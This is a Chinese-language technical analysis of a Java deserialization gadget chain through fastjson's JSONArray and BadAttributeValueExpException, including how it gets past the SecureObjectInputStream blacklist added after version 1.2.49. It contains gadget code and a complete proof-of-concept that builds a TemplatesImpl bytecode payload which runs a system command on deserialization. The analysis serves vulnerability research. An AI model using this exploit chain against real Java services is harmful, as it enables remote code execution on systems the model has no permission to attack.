Fastjson
fastjson触发getter
fastjson 是一套开源解析库,可以把 Java 对象转化成 JSON 形式来表示,通过 JSON.parseObject()、JSON.parse() 反序列化 json 字符串,对 fastjson 漏洞比较熟悉的话就知道反序列化时可以通过 @type 指定类,在反序列化时通过 JSON.parse() 触发 setter ,通过 JSON.parseObject() 触发 getter、setter 实现反序列化攻击。
JSON.toJSONString() 方法在将对象序列化为 json 字符串时,也同样会触发 getter 方法,那么我们很熟悉可以通过 TemplatesImpl.getOutputProperties() 实现字节码的任意加载。
组合调用链
在 fastjson 中 JSONArray 和 JSONObject 对抽象类 JSON 进行了实现,并实现了 Serializable 接口,但是很可惜并不存在 readObject() 方法不能作为 kick-off,所以我们还要继续寻找调用了 toJSONString() 的方法。而在 com.alibaba.fastjson.JSON 正好有一个 toString() 方法调用了 toJSONString()

接下来寻找一个 toString() 方法来触发最终的 getter ,直接用 BadAttributeValueExpException 的 val 字段来触发,所以构造出的 gadget 如下
public Object getObject(String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
Reflections.setFieldValue(bd, "val", jsonArray);
return bd;
}补充 如何触发 fastjson 的 getter
因为是toString所以肯定会涉及到对象中的属性提取,fastjson在做这部分实现时,是通过ObjectSerializer类的write方法去做的提取
这部分流程是先判断serializers这个HashMap当中有无默认映射

我们可以来看看有哪些默认的映射关系
接下来寻找一个 toString() 方法来触发最终的 getter ,直接用 BadAttributeValueExpException 的 val 字段来触发,所以构造出的 gadget 如下
private void initSerializers() {
this.put((Type)Boolean.class, (ObjectSerializer)BooleanCodec.instance);
this.put((Type)Character.class, (ObjectSerializer)CharacterCodec.instance);
this.put((Type)Byte.class, (ObjectSerializer)IntegerCodec.instance);
this.put((Type)Short.class, (ObjectSerializer)IntegerCodec.instance);
this.put((Type)Integer.class, (ObjectSerializer)IntegerCodec.instance);
this.put((Type)Long.class, (ObjectSerializer)LongCodec.instance);
this.put((Type)Float.class, (ObjectSerializer)FloatCodec.instance);
this.put((Type)Double.class, (ObjectSerializer)DoubleSerializer.instance);
this.put((Type)BigDecimal.class, (ObjectSerializer)BigDecimalCodec.instance);
this.put((Type)BigInteger.class, (ObjectSerializer)BigIntegerCodec.instance);
this.put((Type)String.class, (ObjectSerializer)StringCodec.instance);
this.put((Type)byte[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)short[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)int[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)long[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)float[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)double[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)boolean[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)char[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)Object[].class, (ObjectSerializer)ObjectArrayCodec.instance);
this.put((Type)Class.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)SimpleDateFormat.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)Currency.class, (ObjectSerializer)(new MiscCodec()));
this.put((Type)TimeZone.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)InetAddress.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)Inet4Address.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)Inet6Address.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)InetSocketAddress.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)File.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)Appendable.class, (ObjectSerializer)AppendableSerializer.instance);
this.put((Type)StringBuffer.class, (ObjectSerializer)AppendableSerializer.instance);
this.put((Type)StringBuilder.class, (ObjectSerializer)AppendableSerializer.instance);
this.put((Type)Charset.class, (ObjectSerializer)ToStringSerializer.instance);
this.put((Type)Pattern.class, (ObjectSerializer)ToStringSerializer.instance);
this.put((Type)Locale.class, (ObjectSerializer)ToStringSerializer.instance);
this.put((Type)URI.class, (ObjectSerializer)ToStringSerializer.instance);
this.put((Type)URL.class, (ObjectSerializer)ToStringSerializer.instance);
this.put((Type)UUID.class, (ObjectSerializer)ToStringSerializer.instance);
this.put((Type)AtomicBoolean.class, (ObjectSerializer)AtomicCodec.instance);
this.put((Type)AtomicInteger.class, (ObjectSerializer)AtomicCodec.instance);
this.put((Type)AtomicLong.class, (ObjectSerializer)AtomicCodec.instance);
this.put((Type)AtomicReference.class, (ObjectSerializer)ReferenceCodec.instance);
this.put((Type)AtomicIntegerArray.class, (ObjectSerializer)AtomicCodec.instance);
this.put((Type)AtomicLongArray.class, (ObjectSerializer)AtomicCodec.instance);
this.put((Type)WeakReference.class, (ObjectSerializer)ReferenceCodec.instance);
this.put((Type)SoftReference.class, (ObjectSerializer)ReferenceCodec.instance);
this.put((Type)LinkedList.class, (ObjectSerializer)CollectionCodec.instance);
}这里面基本上没有我们需要的东西,唯一熟悉的就是MiscCodec(提示下我们fastjson加载任意class时就是通过调用这个的TypeUtils.loadClass),但可惜的是他的write方法同样没有什么可利用的点,再往下去除一些不关键的调用栈,接下来默认会通过createJavaBeanSerializer来创建一个ObjectSerializer对象

它会提取类当中的BeanInfo(包括有getter方法的属性)并传入createJavaBeanSerializer继续处理

这个方法也最终会将二次处理的beaninfo继续委托给createASMSerializer做处理,而这个方法其实就是通过ASM动态创建一个类(因为和Java自带的ASM框架长的很“相似”所以阅读这部分代码并不复杂)

getter方法的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod当中
它会根据字段的类型调用不同的方法处理,这里我们随便看一个(以第一个_long为例)
这里的fieldInfo其实就是我们一开始的有get方法的field的集合


通过_get方法生成读取filed的方法,因此能调用get方法

1.2.49之后的改动
在 1.2.49 这个版本后 JSONArray 和 JSONObject 都实现了自己的 readObject() 方法,将反序列化委托给 SecureObjectInputStream 类,通过其重写的 resolveClass() 方法调用 checkAutoType() 实现黑名单检查


resolveClass的调用
乍一看,这样的写法很安全,当调用JSONArray/JSONObject的Object方法触发反序列化时,将这个反序列化过程委托给SecureObjectInputStream处理时,触发resolveClass实现对恶意类的拦截
这时候反序列化的调用过程是这样的,就是这样不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过
不安全的反序列化过程

安全的反序列化流程
多提一嘴,平时我们作防御则应该是生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream),由它来做反序列化的入口,这样才是安全的,因此压力再次给到了开发身上

为了解决这个问题,首先我们就需要看看什么情况下不会调用resolveClass,在java.io.ObjectInputStream#readObject0调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象
handled处理机制
在 java.io.ObjectInputStream.readObject0() 方法中会根据字节数据的类型执行不同的处理,存在一些类型不会执行 resolveClass 检查的分支

再往后,跳过一些细节过程,上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass
再回到上面这个switch分支的代码,不会调用readClassDesc的分支有TC_NULL、TC_REFERENCE、TC_STRING、TC_LONGSTRING、TC_EXCEPTION,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,这一点可以从其描述看出


handles 是一个重要的概念,与对象引用和共享对象的序列化有关,为了避免重复序列化、反序列化相同的对象而引入该机制。当反序列化时遇到一个对象引用时( TC_REFERENCE 标记),它会查找 handles 表,看是否已经反序列化了相同的对象。
在 Y4tacker 师傅的分析中说 java.util.ArrayList (其他的集合 Map、Set 同样适用)在执行 writeObject() 时最终会在 java.io.ObjectOutputStream.writeObject0() 方法向 handles 中写入对象,的确 handles 机制也用在序列化,但反序列化时与 ObjectOutputStream 无关,还需要继续分析。

反序列化一个 HashMap 对象先来看一下 readObject0() 的处理,第一步会先向 handles 中加入类结构的描述信息

之后进入 readOrdinaryObject() 方法处理一般对象

首先通过 readClassDesc() 方法读取类描述信息,再根据类描述信息创建对象,unshared 为 fasle 则共享对象引用。而 HashMap 的 K key = (K) s.readObject(); 默认就会将该值设为 false。这也是解释为什么我们要把需要引用的 TemplatesImpl 对象放到 key

public Object getObject(String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
Reflections.setFieldValue(bd, "val", jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templatesImpl, bd);
return hashMap;
}POC
package org.example;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import com.alibaba.fastjson.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.PriorityQueue;
import javax.management.BadAttributeValueExpException;
import static TOOl.tool.serialize;
import static TOOl.tool.unserialize;
public class fastjson1 {
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes = payload.toBytecode();//转换为byte数组47.
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
Field field2 = bd.getClass().getDeclaredField("val");
field2.setAccessible(true);
field2.set(bd, jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templatesImpl, bd);
String serialize = serialize(hashMap);
unserialize(serialize);
}
}调试分析
反序列化一个 HashMap 对象先来看一下 readObject0() 的处理,第一步会先向 handles 中加入类结构的描述信息
第一次执行K key \= (K) s.readObject();时,这是handles还没有TemplatesImpl对象。

第二次执行V value \= (V) s.readObject();时可以看到有TemplatesImpl对象。

之后进入 readOrdinaryObject() 方法处理一般对象

首先通过 readClassDesc() 方法读取类描述信息,再根据类描述信息创建对象,unshared 为 fasle 则共享对象引用。而 HashMap 的 K key = (K) s.readObject(); 默认就会将该值设为 false。这也是解释为什么我们要把需要引用的 TemplatesImpl 对象放到 key

fastjson2
public Object getObject(String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Reflections.setFieldValue(badAttributeValueExpException, "val", jsonArray);
// M1
HashMap hashMap = new HashMap();
hashMap.put(templatesImpl, badAttributeValueExpException);
return hashMap;
}